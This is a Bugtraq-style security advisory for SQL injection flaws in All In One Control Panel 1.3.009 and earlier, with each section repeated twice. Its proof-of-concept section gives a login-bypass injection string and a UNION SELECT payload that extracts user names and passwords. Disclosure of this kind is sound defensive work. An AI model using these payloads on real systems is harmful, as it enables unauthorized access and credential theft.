All In One Control Panel Multiple SQL Injection Vulnerabilities
BID:22032
Info
All In One Control Panel Multiple SQL Injection Vulnerabilities
| Bugtraq ID: | 22032 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 12 2007 12:00AM |
| Updated: | Jan 15 2007 08:00PM |
| Credit: | Coloss is credited with the discovery of these issues. |
| Vulnerable: |
AIOCP AIOCP 1.3.9 AIOCP AIOCP 1.3.7 AIOCP AIOCP 1.3.6 AIOCP AIOCP 1.3.5 AIOCP AIOCP 1.3.4 |
| Not Vulnerable: | |
Discussion
All In One Control Panel Multiple SQL Injection Vulnerabilities
All In One Control Panel is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
All In One Control Panel 1.3.009 and prior versions are vulnerable.
All In One Control Panel is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
All In One Control Panel 1.3.009 and prior versions are vulnerable.
Exploit / POC
All In One Control Panel Multiple SQL Injection Vulnerabilities
An attacker can exploit these issues via a web client.
The following proof-of-concept examples are available:
In: http://www.example.com/AIOCP/admin/code/index.php
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name='
Password: *any password*
http://www.example.com/AIOCP/public/code/cp_downloads.php?did=[sql]
http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous
An attacker can exploit these issues via a web client.
The following proof-of-concept examples are available:
In: http://www.example.com/AIOCP/admin/code/index.php
Username: ' OR user_id = '2' UNION SELECT * FROM aiocp_users WHERE user_name='
Password: *any password*
http://www.example.com/AIOCP/public/code/cp_downloads.php?did=[sql]
http://www.example.org/AIOCP/public/code/cp_downloads.php?did='+UNION+SELECT+NULL,NULL,NULL,NULL,user_id,NULL,NULL,user_name,NULL,user_password,NULL,NULL,NULL,NULL,NULL+FROM+aiocp_users+WHERE+user_name<>'Anonymous
Solution / Fix
All In One Control Panel Multiple SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
All In One Control Panel Multiple SQL Injection Vulnerabilities
References:
References:
- AIOCP Homepage (AIOCP)
- AIOCP Login Bypass Vulnerability (Coloss)
- AIOCP SQL Injection Vulnerability (Coloss)